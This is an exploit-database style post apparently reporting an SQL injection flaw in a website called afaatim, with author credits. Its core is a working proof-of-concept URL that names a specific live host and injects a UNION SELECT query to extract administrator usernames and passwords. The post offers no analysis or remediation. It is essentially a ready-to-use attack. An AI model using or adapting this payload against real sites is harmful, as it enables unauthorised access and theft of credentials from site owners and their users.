-------------------------------------------------------------* #Exploit Title: afaatim - SQL Injection vulnerability #Date: 2020-10-27 #Exploit Author: ERa #Category:webapps #Tested On: windows 10, Firefox Proof of Concept: Demo : http://www.afaatim.com/title.php?id=-295%27%20union%20select%201,group_concat(user_name,0x3a,user_password,%27%3Cbr%3E%27)%20from%20admin_user--+ -------------------------------------------------------------* #Discovered by: ERa #Email: [email protected] -------------------------------------------------------------*